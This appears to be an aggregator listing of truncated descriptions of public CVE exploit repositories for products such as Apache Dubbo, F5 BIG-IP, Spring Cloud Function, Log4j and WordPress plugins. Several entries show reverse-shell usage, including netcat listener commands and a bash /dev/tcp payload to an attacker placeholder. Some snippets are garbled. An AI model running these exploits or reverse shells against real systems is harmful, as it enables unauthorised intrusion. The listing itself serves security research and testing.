CVE-2019-17564

CVE-2019-17564 CVE-2019-17564 Apache Dubbo deserialización RCE video:https://video.twimg.com/tweetvideo/EQlT6nBUEAADdR2.mp4 video:https://video.twimg.com/tweetvideo/EQlT6nBUEAADdR2.mp4 video:https://video.twimg.com/tweetvideo/EQlT6nBUEAADdR2.mp4...

RCE-CVE-2020-5902

RCE-CVE-2020-5902 BIG-IP F5 远程代码执行 描述 这些攻击针对的是 BIG-IP，一种由 F5 Networks 制造的多用途网络设备。BIG-IP 设备可配置为流量整形系统、负载均衡器、防火墙、访问网关、速率限制器或 SSL 中间件。 周三，F5 Networks 发布了补丁，并发布了关于 BIG-IP 设备中一个“远程代码执行”漏洞的安全公告。 F5 表示，该漏洞编号为 CVE-2020-5902，可让攻击者完全控制可访问互联网的未修补系统。 root@kitploit: Version BIG-IP Vulnerable : 15.0.0-15.1.0.3...

Nuclei-Template-CVE-2024-50379

Nuclei-Template-CVE-2024-50379 描述 此 Nuclei 模板检测易受 TOCTOU 竞态条件影响的 Apache Tomcat 服务器，该条件允许远程代码执行 RCE。 ⚠ 重要提示 ：此模板只能用于教育目的，并且仅在获得系统所有者的明确同意后，在受控环境中使用。 此外，该模板仍处于测试阶段，因此我尚未在所有易受攻击的 Apache 版本上进行 100% 的测试。 要求 已安装 Nuclei（支持 linux、mac、windows）。 对要进行测试的系统或网络拥有授权访问权限。 使用方法 修改模板： 打开模板文件，调整 upload.jsp...

CVE-2022-22963_Reverse-Shell-Exploit

CVE-2022-22963 反弹 Shell 漏洞利用 这是一个 Python 脚本，用于利用 CVE-2022-22963，这是 Spring Cloud Function 中的一个远程代码执行漏洞，允许攻击者在存在漏洞的服务器上执行任意代码。该漏洞利用脚本使用存在漏洞的 /functionRouter 端点，在目标服务器上执行命令。 用法 要使用此漏洞利用，只需运行脚本并使用 -u 选项指定存在漏洞的服务器的 URL。脚本会检查服务器是否存在漏洞，并提示用户是否要尝试获取反弹 Shell。如果用户选择继续，脚本将启动一个 netcat 监听器，并尝试在目标服务器上执行指定命令。...

CVE-2017-7525-Jackson-Deserialization-Lab

CVE-2017-7525 Java 不安全反序列化实验室 基础 Java REST 应用程序，存在不安全反序列化漏洞，可导致 RCE。 项目必须在 Java 8u45 上运行 基于 Maven，依赖如下： jackson-databind 2.2.2 commons-collections 3.1 spring-context-support 4.3.11 您可以通过 Maven 添加更多依赖，以便尝试其他 gadget。 运行 打开（推荐使用 IntelliJ IDEA）并运行 src/main/java/com/deserialization/lab/Main.java 中的 Ja...

s2-048

s2-048 s2-048 的 Exp，CVE-2017-9791。 root@kitploit: / \ \ / / | | \ / / | | / \ / / | | | \ \ / /| | | | | | | / /| | / / | | | | \ V / | ||/ /| || | | / /, |/ / , | | | / || ||/||// //// //|| poc: root@kitploit:...

CVE-2026-34197

CVE-2026-34197 — Ejecución Remota de Código en Apache ActiveMQ Classic a través de la API Jolokia TL;DR Una vulnerabilidad de ejecución remota de código en Apache ActiveMQ Classic que permite a un atacante ejecutar código arbitrario invocando la operación MBean addNetworkConnectorString a través ...

CVE-2023-24249-Exploit

CVE-2023-24249 漏洞利用脚本 描述 本仓库包含针对 CVE-2023-24249 的漏洞利用脚本，该漏洞存在于 laravel-admin 1.8.19 版本中，属于严重漏洞。此漏洞允许任意文件上传，使攻击者能够通过构造的 PHP 文件执行任意代码。该利用脚本演示了攻击者如何向目标应用上传反向 Shell 并执行以获取远程访问权限。 漏洞详情 CVE-2023-24249 是 laravel-admin v1.8.19 中的一个任意文件上传漏洞。该漏洞允许攻击者上传并执行任意 PHP 文件，从而导致潜在的远程代码执行。 基础评分 ：7.2 高危 攻击向量...

CVE-2026-34038

CVE-2026-34038: Inyección Remota de Comandos Autenticada en Coolify Este repositorio contiene documentación y análisis de CVE-2026-34038 , una vulnerabilidad crítica de inyección de comandos en Coolify. Resumen Una vulnerabilidad autenticada de inyección remota de comandos CWE-78 en Coolify permi...

CVE-2019-5544_CVE-2020-3992

SLP 服务扫描器（CVE-2019-5544 CVE-2020-3992） 实现 SRVLOC/SLP 协议以扫描已启用 OpenSLP 服务的 Python 脚本。 在搜索受 CVE-2019-5544、CVE-2020-3992 或 CVE-2021-21974 影响的系统时，你可能会发现它很方便…… 关于 VMware...

React2Shell-Exploit-CVE-2025-55182

💀 React2Shell 漏洞利用 — CVE-2025-55182 root@kitploit: ██████╗ ███████╗ █████╗ ██████╗████████╗██████╗ ███████╗██╗ ██╗███████╗██╗ ██╗ ██╔══██╗██╔════╝██╔══██╗██╔════╝╚══██╔══╝╚════██╗██╔════╝██║ ██║██╔════╝██║ ██║ ██████╔╝█████╗ ███████║██║ ██║ █████╔╝███████╗███████║█████╗ ██║ ██║ ██╔══██╗██╔══╝...

CVE-2025-48384

CVE-2025-48384 PoC 注意事项 本仓库是为安全教育目的而创建的。 请勿滥用。 该漏洞需要在目录名中包含\r，因此 Linux/Unix系操作系统受到影响。 以下是受影响的 Git 版本： v2.43.x系列 - 低于 v2.43.7 v2.44.x系列 - 低于 v2.44.4 v2.45.x系列 - 低于 v2.45.4 v2.46.x系列 - 低于 v2.46.4 v2.47.x系列 - 低于 v2.47.3 v2.48.x系列 - 低于 v2.48.2 v2.49.x系列 - 低于 v2.49.1 v2.50.x系列 - 低于 v2.50.1 Remote 验证用...

CVE-2016-2555

CVE-2016-2555 漏洞利用 此漏洞利用工具针对 ATutor 2.2.1 中的 SQL 注入漏洞 和 认证弱点漏洞 。通过利用这些漏洞，攻击者可以上传恶意代码，在易受攻击的服务器上实现 远程代码执行（RCE） 。 用法 root@kitploit: $ python3 CVE-2016-2555.py target:port 示例： root@kitploit: $ python3 CVE-2016-2555.py 127.0.0.1:8080 功能特点 利用 ATutor 2.2.1 中的 SQL 注入漏洞。 绕过身份验证以获得管理员权限。 上传恶意负载以实现 RCE。 免责...

CVE-2023-422-Chamilo-LMS-RCE

先决条件 root@kitploit: pip install requests 信息 该Python脚本利用漏洞CVE-2023-422将文件上传到服务器，并使用该文件向netcat监听器发送反弹shell，整个过程无需身份验证。然而，你需要按照以下步骤来成功使用该Python脚本。 启动netcat监听器： root@kitploit: nc -lnvp 4444 执行Python脚本（示例）： root@kitploit: python3 main.py -u "http://lms.permx.htb" -p "80" -ni "10.10.16.24" -np "4445"...

CVE-2023-42793

关于 CVE-2023-42793 你需要先使用另一个漏洞获取令牌。不过，下面的这个漏洞利用将允许你在Linux服务器上获得RCE（远程代码执行），因为它将payload编码在URL中并发送给服务器。 如何使用 root@kitploit: python3 ./main -t TEAMCITYTOKEN -u http://teamcity.runner.htb -p 80 -ni LISTENERIP -np LISTENERPORT...

CVE-2023-27163-AND-Mailtrail-v0.53

自动漏洞利用 摘要 下面的利用程序滥用 Requests Baskets v1.2.1 SSRF 漏洞，将运行在 127.0.0.1:80 的内部应用转发至位于 /pwned 的外部应用。一旦 Mailtrail v0.53 应用被转发，该利用程序便会对其执行反弹 Shell 命令，几秒钟内用户即可在目标机器上获得一个反弹 Shell。 命令 root@kitploit: python3 ./exploit http://10.10.10.10:55555 LISTENER-IP LISTENER-PORT 所利用的漏洞： CVE-2023-27163 Mailtrail v0.53 致...

CVE-2019-9978-Social-Warfare-WordPress-Plugin-RCE

CVE-2019-9978 - Social Warfare WordPress 插件远程代码执行 本仓库包含一个针对 CVE-2019-9978 的有效 Python 利用脚本，该漏洞是 WordPress 的 Social Warfare 插件（版本 system"bash -c \"bash -i & /dev/tcp/ATTACKERIP/LISTENPORT 0&1\""' with openPAYLOADFILE, "w" as f: f.writepayload printf"+ 载荷已写入 PAYLOADFILE" def starthttpserver: """通过...

CVE-2019-18426

WhatsApp漏洞披露 - 开放重定向 + CSP绕过 + 持久性XSS + 文件系统读取权限 + 潜在远程代码执行 CVE-2019-18426 技术文章 原始漏洞披露文档 演示视频！...

fusionpbx_rce_vulnerability

Preludio Este simple código intenta completar la implementación de la vulnerabilidad encadenada presentada por Dustin Cobb en RCE mediante Caller ID – Múltiples vulnerabilidades en FusionPBX. RCE Pasos de reproducción 1. Abra la pantalla vulnerable del operador en un navegador web, ubicada en est...

CVE-2021-44228-demo

log4j-shell-poc 针对近期发现的 CVE-2021-44228 漏洞的概念验证。 最近，log4j 中发现了一个新漏洞。log4j 是一个 Java 日志库，广泛应用于 elasticsearch、minecraft 等众多软件中。 本仓库中包含一个存在漏洞的示例应用程序及其概念验证（POC）利用程序。 概念验证 POC 作为一个 PoC，仓库中有一个可自动完成此过程的 Python 文件。 要求： root@kitploit: pip install -r requirements.txt 用法： 启动一个 netcat 监听器以接受反向 shell 连接。...